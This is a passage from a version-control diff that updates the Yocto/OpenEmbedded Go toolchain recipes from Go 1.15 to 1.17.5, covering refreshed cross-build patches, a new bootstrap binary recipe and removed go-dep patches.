-@@ -1457,6 +1458,7 @@ func (ctxt *Link) hostlink() {
+ if ctxt.HeadType == objabi.Hwindows {
+ if *flagAslr {
+ argv = addASLRargs(argv)
+@@ -1358,6 +1359,7 @@ func (ctxt *Link) hostlink() {
argv = append(argv, "-Wl,-z,relro")
}
argv = append(argv, "-shared")
@@ -35,7 +35,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
case BuildModePlugin:
if ctxt.HeadType == objabi.Hdarwin {
argv = append(argv, "-dynamiclib")
-@@ -1465,6 +1467,7 @@ func (ctxt *Link) hostlink() {
+@@ -1366,6 +1368,7 @@ func (ctxt *Link) hostlink() {
argv = append(argv, "-Wl,-z,relro")
}
argv = append(argv, "-shared")
diff --git a/meta/recipes-devtools/go/go-1.17/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch b/meta/recipes-devtools/go/go-1.17/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
new file mode 100644
index 0000000000..2845d21382
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.17/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
@@ -0,0 +1,41 @@
+From 153e2dda6103fd9dd871be4bb495a8da5328301e Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:17:16 +0430
+Subject: [PATCH] make.bash: override CC when building dist and go_bootstrap
+
+for handling OE cross-canadian builds.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+
+---
+ src/make.bash | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/make.bash b/src/make.bash
+index 7986125..dd67029 100755
+--- a/src/make.bash
++++ b/src/make.bash
+@@ -181,7 +181,7 @@ if [ "$GOROOT_BOOTSTRAP" = "$GOROOT" ]; then
+ exit 1
+ fi
+ rm -f cmd/dist/dist
+-GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
++CC="${BUILD_CC:-${CC}}" GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
+
+ # -e doesn't propagate out of eval, so check success by hand.
+ eval $(./cmd/dist/dist env -p || echo FAIL=true)
+@@ -206,7 +206,7 @@ fi
+ # Run dist bootstrap to complete make.bash.
+ # Bootstrap installs a proper cmd/dist, built with the new toolchain.
+ # Throw ours, built with Go 1.4, away after bootstrap.
+-./cmd/dist/dist bootstrap -a $vflag $GO_DISTFLAGS "$@"
++CC="${BUILD_CC:-${CC}}" ./cmd/dist/dist bootstrap -a $vflag $GO_DISTFLAGS "$@"
+ rm -f ./cmd/dist/dist
+
+ # DO NOT ADD ANY NEW CODE HERE.
diff --git a/meta/recipes-devtools/go/go-1.15/0006-cmd-dist-separate-host-and-target-builds.patch b/meta/recipes-devtools/go/go-1.17/0006-cmd-dist-separate-host-and-target-builds.patch
index 7aee0bac43..68e8efc1d2 100644
--- a/meta/recipes-devtools/go/go-1.15/0006-cmd-dist-separate-host-and-target-builds.patch
+++ b/meta/recipes-devtools/go/go-1.17/0006-cmd-dist-separate-host-and-target-builds.patch
@@ -1,7 +1,7 @@
-From 10735bb84df17ba657f76835f483cd8543a879c1 Mon Sep 17 00:00:00 2001
+From 7bc891e00be4263311d75aa2b2ee6a3b7b75355f Mon Sep 17 00:00:00 2001
From: Alex Kube <alexander.j.kube@gmail.com>
Date: Wed, 23 Oct 2019 21:18:12 +0430
-Subject: [PATCH 6/9] cmd/dist: separate host and target builds
+Subject: [PATCH] cmd/dist: separate host and target builds
Upstream-Status: Inappropriate [OE specific]
@@ -34,21 +34,24 @@ the meta/recipes-devtools/go tree by
Matt Madison <matt@madison.systems>.
Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+
---
- src/cmd/dist/build.go | 155 ++++++++++++++++++++++++++++++------------
- 1 file changed, 112 insertions(+), 43 deletions(-)
+ src/cmd/dist/build.go | 156 ++++++++++++++++++++++++++++++------------
+ 1 file changed, 113 insertions(+), 43 deletions(-)
+diff --git a/src/cmd/dist/build.go b/src/cmd/dist/build.go
+index d82f612..5c8459c 100644
--- a/src/cmd/dist/build.go
+++ b/src/cmd/dist/build.go
-@@ -41,6 +41,7 @@ var (
- goldflags string
+@@ -43,6 +43,7 @@ var (
+ goexperiment string
workdir string
tooldir string
+ build_tooldir string
oldgoos string
oldgoarch string
exe string
-@@ -53,6 +54,7 @@ var (
+@@ -55,6 +56,7 @@ var (
rebuildall bool
defaultclang bool
@@ -56,7 +59,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
vflag int // verbosity
)
-@@ -249,6 +251,8 @@ func xinit() {
+@@ -251,6 +253,8 @@ func xinit() {
if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
}
@@ -65,7 +68,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
}
// compilerEnv returns a map from "goos/goarch" to the
-@@ -480,8 +484,10 @@ func setup() {
+@@ -496,8 +500,10 @@ func setup() {
p := pathf("%s/pkg/%s_%s", goroot, gohostos, gohostarch)
if rebuildall {
xremoveall(p)
@@ -76,9 +79,9 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
if goos != gohostos || goarch != gohostarch {
p := pathf("%s/pkg/%s_%s", goroot, goos, goarch)
-@@ -1244,12 +1250,29 @@ func cmdbootstrap() {
+@@ -1267,17 +1273,35 @@ func cmdbootstrap() {
- var noBanner bool
+ var noBanner, noClean bool
var debug bool
+ var hostOnly bool
+ var targetOnly bool
@@ -87,12 +90,17 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
flag.BoolVar(&rebuildall, "a", rebuildall, "rebuild all")
flag.BoolVar(&debug, "d", debug, "enable debugging of bootstrap process")
flag.BoolVar(&noBanner, "no-banner", noBanner, "do not print banner")
+ flag.BoolVar(&noClean, "no-clean", noClean, "print deprecation warning")
+ flag.BoolVar(&hostOnly, "host-only", hostOnly, "build only host binaries, not target")
+ flag.BoolVar(&targetOnly, "target-only", targetOnly, "build only target binaries, not host")
- xflagparse(0)
+ xflagparse(-1)
+ if noClean {
+ xprintf("warning: --no-clean is deprecated and has no effect; use 'go install std cmd' instead\n")
+ }
+
+ if hostOnly && targetOnly {
+ fatalf("specify only one of --host-only or --target-only\n")
+ }
@@ -104,10 +112,11 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+ fatalf("package names not permitted without --host-only or --target-only\n")
+ }
+ }
++
// Set GOPATH to an internal directory. We shouldn't actually
// need to store files here, since the toolchain won't
// depend on modules outside of vendor directories, but if
-@@ -1303,8 +1326,13 @@ func cmdbootstrap() {
+@@ -1345,8 +1369,13 @@ func cmdbootstrap() {
xprintf("\n")
}
@@ -123,7 +132,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
goBootstrap := pathf("%s/go_bootstrap", tooldir)
cmdGo := pathf("%s/go", gobin)
if debug {
-@@ -1333,7 +1361,11 @@ func cmdbootstrap() {
+@@ -1375,7 +1404,11 @@ func cmdbootstrap() {
xprintf("\n")
}
xprintf("Building Go toolchain2 using go_bootstrap and Go toolchain1.\n")
@@ -133,10 +142,10 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+ } else {
+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
+ }
+ // Now that cmd/go is in charge of the build process, enable GOEXPERIMENT.
+ os.Setenv("GOEXPERIMENT", goexperiment)
goInstall(goBootstrap, append([]string{"-i"}, toolchain...)...)
- if debug {
- run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-@@ -1370,50 +1402,84 @@ func cmdbootstrap() {
+@@ -1414,50 +1447,84 @@ func cmdbootstrap() {
}
checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
@@ -188,6 +197,8 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
- timelog("build", "host toolchain")
- if vflag > 0 {
- xprintf("\n")
+- }
+- xprintf("Building packages and commands for host, %s/%s.\n", goos, goarch)
+
+ if goos == oldgoos && goarch == oldgoarch {
+ // Common case - not setting up for cross-compilation.
@@ -219,8 +230,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+ os.Setenv("GOARCH", goarch)
+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
+ xprintf("Building packages and commands for target, %s/%s.\n", goos, goarch)
- }
-- xprintf("Building packages and commands for host, %s/%s.\n", goos, goarch)
++ }
goInstall(goBootstrap, "std", "cmd")
checkNotStale(goBootstrap, "std", "cmd")
checkNotStale(cmdGo, "std", "cmd")
@@ -228,7 +238,12 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
- timelog("build", "target toolchain")
- if vflag > 0 {
- xprintf("\n")
-- }
++ if debug {
++ run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
++ run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
++ checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
++ copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
+ }
- goos = oldgoos
- goarch = oldgoarch
- os.Setenv("GOOS", goos)
@@ -249,16 +264,10 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
- run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
- checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
- copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
-+ if debug {
-+ run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-+ run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
-+ checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
-+ copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
-+ }
}
// Check that there are no new files in $GOROOT/bin other than
-@@ -1430,8 +1496,11 @@ func cmdbootstrap() {
+@@ -1474,8 +1541,11 @@ func cmdbootstrap() {
}
}
diff --git a/meta/recipes-devtools/go/go-1.15/0007-cmd-go-make-GOROOT-precious-by-default.patch b/meta/recipes-devtools/go/go-1.17/0007-cmd-go-make-GOROOT-precious-by-default.patch
index 4b4d0d4f3d..4b4d0d4f3d 100644
--- a/meta/recipes-devtools/go/go-1.15/0007-cmd-go-make-GOROOT-precious-by-default.patch
+++ b/meta/recipes-devtools/go/go-1.17/0007-cmd-go-make-GOROOT-precious-by-default.patch
diff --git a/meta/recipes-devtools/go/go-1.15/0008-use-GOBUILDMODE-to-set-buildmode.patch b/meta/recipes-devtools/go/go-1.17/0008-use-GOBUILDMODE-to-set-buildmode.patch
index 4e5d5021d6..4e5d5021d6 100644
--- a/meta/recipes-devtools/go/go-1.15/0008-use-GOBUILDMODE-to-set-buildmode.patch
+++ b/meta/recipes-devtools/go/go-1.17/0008-use-GOBUILDMODE-to-set-buildmode.patch
diff --git a/meta/recipes-devtools/go/go-1.17/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch b/meta/recipes-devtools/go/go-1.17/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch
new file mode 100644
index 0000000000..f857b72234
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.17/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch
@@ -0,0 +1,94 @@
+From 66a45dae3af140662e17ef85c2e6fe40270a2553 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 22 Feb 2021 17:54:01 -0800
+Subject: [PATCH] Revert "cmd/go: make sure CC and CXX are absolute"
+
+OE uses CC/CXX values which consists of cmpiler and options together,
+secondly, the environment is canned so this check add little value to OE
+based builds
+
+Fixes go-runtime build issues
+
+go install: CXX environment variable is relative; must be absolute path: powerpc64le-yoe-linux-musl-g++ -mlittle-endian -mhard-float -m64 -mabi=elfv2 -mcpu=power9 -fstack-protector-strong -O2 -D_FORTIFY_SOURCE=2 -Wformat -Wformat-security -Werror=format-security --sysroot=/mnt/b/yoe/master/build/tmp/work/ppc64p9le-yoe-linux-musl/go/1.16-r0/recipe-sysroot
+
+This reverts commit aa161e799df7e1eba99d2be10271e76b6f758142.
+
+Upstream-Status: Inappropriate [OE-Specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/cmd/go/internal/envcmd/env.go | 5 -----
+ src/cmd/go/internal/work/init.go | 6 ------
+ src/cmd/go/testdata/script/env_write.txt | 24 ------------------------
+ 3 files changed, 35 deletions(-)
+
+diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
+index ff6f0d8..43b94e7 100644
+--- a/src/cmd/go/internal/envcmd/env.go
++++ b/src/cmd/go/internal/envcmd/env.go
+@@ -457,11 +457,6 @@ func checkEnvWrite(key, val string) error {
+ if !filepath.IsAbs(val) && val != "" {
+ return fmt.Errorf("GOPATH entry is relative; must be absolute path: %q", val)
+ }
+- // Make sure CC and CXX are absolute paths
+- case "CC", "CXX", "GOMODCACHE":
+- if !filepath.IsAbs(val) && val != "" && val != filepath.Base(val) {
+- return fmt.Errorf("%s entry is relative; must be absolute path: %q", key, val)
+- }
+ }
+
+ if !utf8.ValidString(val) {
+diff --git a/src/cmd/go/internal/work/init.go b/src/cmd/go/internal/work/init.go
+index 37a3e2d..316b0cf 100644
+--- a/src/cmd/go/internal/work/init.go
++++ b/src/cmd/go/internal/work/init.go
+@@ -39,12 +39,6 @@ func BuildInit() {
+ cfg.BuildPkgdir = p
+ }
+
+- // Make sure CC and CXX are absolute paths
+- for _, key := range []string{"CC", "CXX"} {
+- if path := cfg.Getenv(key); !filepath.IsAbs(path) && path != "" && path != filepath.Base(path) {
+- base.Fatalf("go %s: %s environment variable is relative; must be absolute path: %s\n", flag.Args()[0], key, path)
+- }
+- }
+ }
+
+ func instrumentInit() {
+diff --git a/src/cmd/go/testdata/script/env_write.txt b/src/cmd/go/testdata/script/env_write.txt
+index b5e9739..566c876 100644
+--- a/src/cmd/go/testdata/script/env_write.txt
++++ b/src/cmd/go/testdata/script/env_write.txt
+@@ -129,30 +129,6 @@ go env -w GOTMPDIR=
+ go env GOTMPDIR
+ stdout ^$
+
+-# go env -w rejects relative CC values
+-[!windows] go env -w CC=/usr/bin/clang
+-go env -w CC=clang
+-[!windows] ! go env -w CC=./clang
+-[!windows] ! go env -w CC=bin/clang
+-[!windows] stderr 'go env -w: CC entry is relative; must be absolute path'
+-
+-[windows] go env -w CC=$WORK\bin\clang
+-[windows] ! go env -w CC=.\clang
+-[windows] ! go env -w CC=bin\clang
+-[windows] stderr 'go env -w: CC entry is relative; must be absolute path'
+-
+-# go env -w rejects relative CXX values
+-[!windows] go env -w CC=/usr/bin/cpp
+-go env -w CXX=cpp
+-[!windows] ! go env -w CXX=./cpp
+-[!windows] ! go env -w CXX=bin/cpp
+-[!windows] stderr 'go env -w: CXX entry is relative; must be absolute path'
+-
+-[windows] go env -w CXX=$WORK\bin\cpp
+-[windows] ! go env -w CXX=.\cpp
+-[windows] ! go env -w CXX=bin\cpp
+-[windows] stderr 'go env -w: CXX entry is relative; must be absolute path'
+-
+ # go env -w/-u checks validity of GOOS/ARCH combinations
+ env GOOS=
+ env GOARCH=
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/go/go-binary-native_1.15.5.bb b/meta/recipes-devtools/go/go-binary-native_1.15.5.bb
deleted file mode 100644
index 1fb11b0435..0000000000
--- a/meta/recipes-devtools/go/go-binary-native_1.15.5.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-# This recipe is for bootstrapping our go-cross from a prebuilt binary of Go from golang.org.
-
-SUMMARY = "Go programming language compiler (upstream binary for bootstrap)"
-HOMEPAGE = " http://golang.org/"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
-
-PROVIDES = "go-native"
-
-SRC_URI = "https://dl.google.com/go/go${PV}.${BUILD_GOOS}-${BUILD_GOARCH}.tar.gz;name=go_${BUILD_GOTUPLE}"
-SRC_URI[go_linux_amd64.sha256sum] = "9a58494e8da722c3aef248c9227b0e9c528c7318309827780f16220998180a0d"
-SRC_URI[go_linux_arm64.sha256sum] = "a72a0b036beb4193a0214bca3fca4c5d68a38a4ccf098c909f7ce8bf08567c48"
-
-UPSTREAM_CHECK_URI = "https://golang.org/dl/"
-UPSTREAM_CHECK_REGEX = "go(?P<pver>\d+(\.\d+)+)\.linux"
-
-S = "${WORKDIR}/go"
-
-inherit goarch native
-
-do_compile() {
- :
-}
-
-make_wrapper() {
- rm -f ${D}${bindir}/$1
- cat <<END >${D}${bindir}/$1
-#!/bin/bash
-here=\`dirname \$0\`
-export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
-\$here/../lib/go/bin/$1 "\$@"
-END
- chmod +x ${D}${bindir}/$1
-}
-
-do_install() {
- find ${S} -depth -type d -name testdata -exec rm -rf {} +
-
- install -d ${D}${bindir} ${D}${libdir}/go
- cp --preserve=mode,timestamps -R ${S}/ ${D}${libdir}/
-
- for f in ${S}/bin/*
- do
- make_wrapper `basename $f`
- done
-}
diff --git a/meta/recipes-devtools/go/go-binary-native_1.17.5.bb b/meta/recipes-devtools/go/go-binary-native_1.17.5.bb
new file mode 100644
index 0000000000..f07d299b40
--- /dev/null
+++ b/meta/recipes-devtools/go/go-binary-native_1.17.5.bb
@@ -0,0 +1,46 @@
+# This recipe is for bootstrapping our go-cross from a prebuilt binary of Go from golang.org.
+
+SUMMARY = "Go programming language compiler (upstream binary for bootstrap)"
+HOMEPAGE = " http://golang.org/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
+
+PROVIDES = "go-native"
+
+SRC_URI = "https://dl.google.com/go/go${PV}.${BUILD_GOOS}-${BUILD_GOARCH}.tar.gz;name=go_${BUILD_GOTUPLE}"
+SRC_URI[go_linux_amd64.sha256sum] = "bd78114b0d441b029c8fe0341f4910370925a4d270a6a590668840675b0c653e"
+SRC_URI[go_linux_arm64.sha256sum] = "6f95ce3da40d9ce1355e48f31f4eb6508382415ca4d7413b1e7a3314e6430e7e"
+
+UPSTREAM_CHECK_URI = "https://golang.org/dl/"
+UPSTREAM_CHECK_REGEX = "go(?P<pver>\d+(\.\d+)+)\.linux"
+
+S = "${WORKDIR}/go"
+
+inherit goarch native
+
+do_compile() {
+ :
+}
+
+make_wrapper() {
+ rm -f ${D}${bindir}/$1
+ cat <<END >${D}${bindir}/$1
+#!/bin/bash
+here=\`dirname \$0\`
+export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
+\$here/../lib/go/bin/$1 "\$@"
+END
+ chmod +x ${D}${bindir}/$1
+}
+
+do_install() {
+ find ${S} -depth -type d -name testdata -exec rm -rf {} +
+
+ install -d ${D}${bindir} ${D}${libdir}/go
+ cp --preserve=mode,timestamps -R ${S}/ ${D}${libdir}/
+
+ for f in ${S}/bin/*
+ do
+ make_wrapper `basename $f`
+ done
+}
diff --git a/meta/recipes-devtools/go/go-common.inc b/meta/recipes-devtools/go/go-common.inc
index f18d928c70..dfccebdb83 100644
--- a/meta/recipes-devtools/go/go-common.inc
+++ b/meta/recipes-devtools/go/go-common.inc
@@ -14,7 +14,7 @@ LICENSE = "BSD-3-Clause"
inherit goarch
-SRC_URI = "http://golang.org/dl/go${PV}.src.tar.gz;name=main"
+SRC_URI = "https://golang.org/dl/go${PV}.src.tar.gz;name=main"
S = "${WORKDIR}/go"
B = "${S}"
UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.src\.tar"
@@ -37,6 +37,6 @@ export GO386 ?= "${TARGET_GO386}"
export GOMIPS ?= "${TARGET_GOMIPS}"
export GOROOT_FINAL ?= "${libdir}/go"
-do_compile_prepend() {
+do_compile:prepend() {
BUILD_CC=${BUILD_CC}
}
diff --git a/meta/recipes-devtools/go/go-cross-canadian_1.15.bb b/meta/recipes-devtools/go/go-cross-canadian_1.17.5.bb
index 7ac9449e47..7ac9449e47 100644
--- a/meta/recipes-devtools/go/go-cross-canadian_1.15.bb
+++ b/meta/recipes-devtools/go/go-cross-canadian_1.17.5.bb
diff --git a/meta/recipes-devtools/go/go-cross_1.15.bb b/meta/recipes-devtools/go/go-cross_1.17.5.bb
index 80b5a03f6c..80b5a03f6c 100644
--- a/meta/recipes-devtools/go/go-cross_1.15.bb
+++ b/meta/recipes-devtools/go/go-cross_1.17.5.bb
diff --git a/meta/recipes-devtools/go/go-crosssdk_1.15.bb b/meta/recipes-devtools/go/go-crosssdk_1.17.5.bb
index 1857c8a577..1857c8a577 100644
--- a/meta/recipes-devtools/go/go-crosssdk_1.15.bb
+++ b/meta/recipes-devtools/go/go-crosssdk_1.17.5.bb
diff --git a/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch b/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch
deleted file mode 100644
index 34ec9876f8..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From f0fb80604385ae3266a472601ef685896b4cc0af Mon Sep 17 00:00:00 2001
-From: Vladimir Stefanovic <vladimir.stefanovic@imgtec.com>
-Date: Fri, 17 Feb 2017 20:44:43 +0100
-Subject: [PATCH] Add support for mips, mips64
-
----
-Upstream-Status: Submitted
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- vendor/github.com/boltdb/bolt/bolt_mips64x.go | 12 ++++++++++++
- vendor/github.com/boltdb/bolt/bolt_mipsx.go | 12 ++++++++++++
- 2 files changed, 24 insertions(+)
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_mips64x.go
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_mipsx.go
-
-diff --git a/vendor/github.com/boltdb/bolt/bolt_mips64x.go b/vendor/github.com/boltdb/bolt/bolt_mips64x.go
-new file mode 100644
-index 00000000..134b578b
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_mips64x.go
-@@ -0,0 +1,12 @@
-+// +build mips64 mips64le
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0x8000000000 // 512GB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0x7FFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
-diff --git a/vendor/github.com/boltdb/bolt/bolt_mipsx.go b/vendor/github.com/boltdb/bolt/bolt_mipsx.go
-new file mode 100644
-index 00000000..d5ecb059
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_mipsx.go
-@@ -0,0 +1,12 @@
-+// +build mips mipsle
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0x40000000 // 1GB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0xFFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
---
-2.14.1
-
diff --git a/meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch b/meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch
deleted file mode 100644
index b13bb9e665..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch
+++ /dev/null
@@ -1,145574 +0,0 @@
-From f7904cb91a1b18e893ffbd25b450926d145d0e0a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 22 Apr 2020 18:44:48 -0700
-Subject: [PATCH] Update sys module to latest
-
-Gets us riscv support
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Gopkg.lock | 4 +-
- .../golang.org/x/sys/unix/affinity_linux.go | 86 +
- vendor/golang.org/x/sys/unix/aliases.go | 14 +
- vendor/golang.org/x/sys/unix/asm_aix_ppc64.s | 17 +
- .../x/sys/unix/asm_dragonfly_amd64.s | 10 +-
- ...sm_linux_mips64x.s => asm_freebsd_arm64.s} | 11 +-
- vendor/golang.org/x/sys/unix/asm_linux_386.s | 36 +-
- .../golang.org/x/sys/unix/asm_linux_amd64.s | 30 +-
- vendor/golang.org/x/sys/unix/asm_linux_arm.s | 35 +-
- .../golang.org/x/sys/unix/asm_linux_arm64.s | 30 +-
- .../golang.org/x/sys/unix/asm_linux_mips64x.s | 36 +-
- .../golang.org/x/sys/unix/asm_linux_mipsx.s | 33 +-
- .../golang.org/x/sys/unix/asm_linux_ppc64x.s | 38 +-
- .../golang.org/x/sys/unix/asm_linux_riscv64.s | 47 +
- .../golang.org/x/sys/unix/asm_linux_s390x.s | 28 +
- ...asm_linux_mips64x.s => asm_netbsd_arm64.s} | 17 +-
- ...sm_linux_mips64x.s => asm_openbsd_arm64.s} | 9 +-
- .../golang.org/x/sys/unix/bluetooth_linux.go | 1 +
- vendor/golang.org/x/sys/unix/cap_freebsd.go | 30 +-
- vendor/golang.org/x/sys/unix/constants.go | 2 +-
- vendor/golang.org/x/sys/unix/dev_aix_ppc.go | 27 +
- vendor/golang.org/x/sys/unix/dev_aix_ppc64.go | 29 +
- vendor/golang.org/x/sys/unix/dev_darwin.go | 24 +
- vendor/golang.org/x/sys/unix/dev_dragonfly.go | 30 +
- vendor/golang.org/x/sys/unix/dev_freebsd.go | 30 +
- vendor/golang.org/x/sys/unix/dev_linux.go | 8 +-
- vendor/golang.org/x/sys/unix/dev_netbsd.go | 29 +
- vendor/golang.org/x/sys/unix/dev_openbsd.go | 29 +
- vendor/golang.org/x/sys/unix/dirent.go | 2 +-
- vendor/golang.org/x/sys/unix/endian_little.go | 2 +-
- vendor/golang.org/x/sys/unix/env_unix.go | 8 +-
- vendor/golang.org/x/sys/unix/env_unset.go | 14 -
- .../x/sys/unix/errors_freebsd_386.go | 6 +
- .../x/sys/unix/errors_freebsd_amd64.go | 6 +
- .../x/sys/unix/errors_freebsd_arm64.go | 17 +
- .../x/sys/unix/{flock.go => fcntl.go} | 18 +-
- vendor/golang.org/x/sys/unix/fcntl_darwin.go | 18 +
- ...ck_linux_32bit.go => fcntl_linux_32bit.go} | 0
- vendor/golang.org/x/sys/unix/fdset.go | 29 +
- vendor/golang.org/x/sys/unix/file_unix.go | 27 -
- vendor/golang.org/x/sys/unix/gccgo.go | 20 +-
- vendor/golang.org/x/sys/unix/gccgo_c.c | 12 +-
- .../x/sys/unix/gccgo_linux_amd64.go | 2 +-
- .../x/sys/unix/gccgo_linux_sparc64.go | 20 -
- vendor/golang.org/x/sys/unix/ioctl.go | 65 +
- vendor/golang.org/x/sys/unix/mkasm_darwin.go | 78 +
- vendor/golang.org/x/sys/unix/mkmerge.go | 521 +++
- vendor/golang.org/x/sys/unix/mkpost.go | 63 +-
- vendor/golang.org/x/sys/unix/mksyscall.go | 402 +++
- .../x/sys/unix/mksyscall_aix_ppc.go | 415 +++
- .../x/sys/unix/mksyscall_aix_ppc64.go | 614 ++++
- .../x/sys/unix/mksyscall_solaris.go | 341 ++
- .../golang.org/x/sys/unix/mksysctl_openbsd.go | 355 +++
- vendor/golang.org/x/sys/unix/mksysnum.go | 190 ++
- .../golang.org/x/sys/unix/openbsd_pledge.go | 38 -
- vendor/golang.org/x/sys/unix/pagesize_unix.go | 15 +
- .../golang.org/x/sys/unix/pledge_openbsd.go | 163 +
- vendor/golang.org/x/sys/unix/race.go | 2 +-
- vendor/golang.org/x/sys/unix/race0.go | 4 +-
- .../x/sys/unix/readdirent_getdents.go | 12 +
- .../x/sys/unix/readdirent_getdirentries.go | 19 +
- .../x/sys/unix/sockcmsg_dragonfly.go | 16 +
- .../golang.org/x/sys/unix/sockcmsg_linux.go | 4 +-
- vendor/golang.org/x/sys/unix/sockcmsg_unix.go | 28 +-
- .../x/sys/unix/sockcmsg_unix_other.go | 38 +
- vendor/golang.org/x/sys/unix/str.go | 2 +-
- vendor/golang.org/x/sys/unix/syscall.go | 38 +-
- vendor/golang.org/x/sys/unix/syscall_aix.go | 536 ++++
- .../golang.org/x/sys/unix/syscall_aix_ppc.go | 54 +
- .../x/sys/unix/syscall_aix_ppc64.go | 85 +
- vendor/golang.org/x/sys/unix/syscall_bsd.go | 112 +-
- .../x/sys/unix/syscall_darwin.1_12.go | 29 +
- .../x/sys/unix/syscall_darwin.1_13.go | 101 +
- .../golang.org/x/sys/unix/syscall_darwin.go | 263 +-
- .../x/sys/unix/syscall_darwin_386.1_11.go | 9 +
- .../x/sys/unix/syscall_darwin_386.go | 45 +-
- .../x/sys/unix/syscall_darwin_amd64.1_11.go | 9 +
- .../x/sys/unix/syscall_darwin_amd64.go | 45 +-
- .../x/sys/unix/syscall_darwin_arm.1_11.go | 11 +
- .../x/sys/unix/syscall_darwin_arm.go | 51 +-
- .../x/sys/unix/syscall_darwin_arm64.1_11.go | 11 +
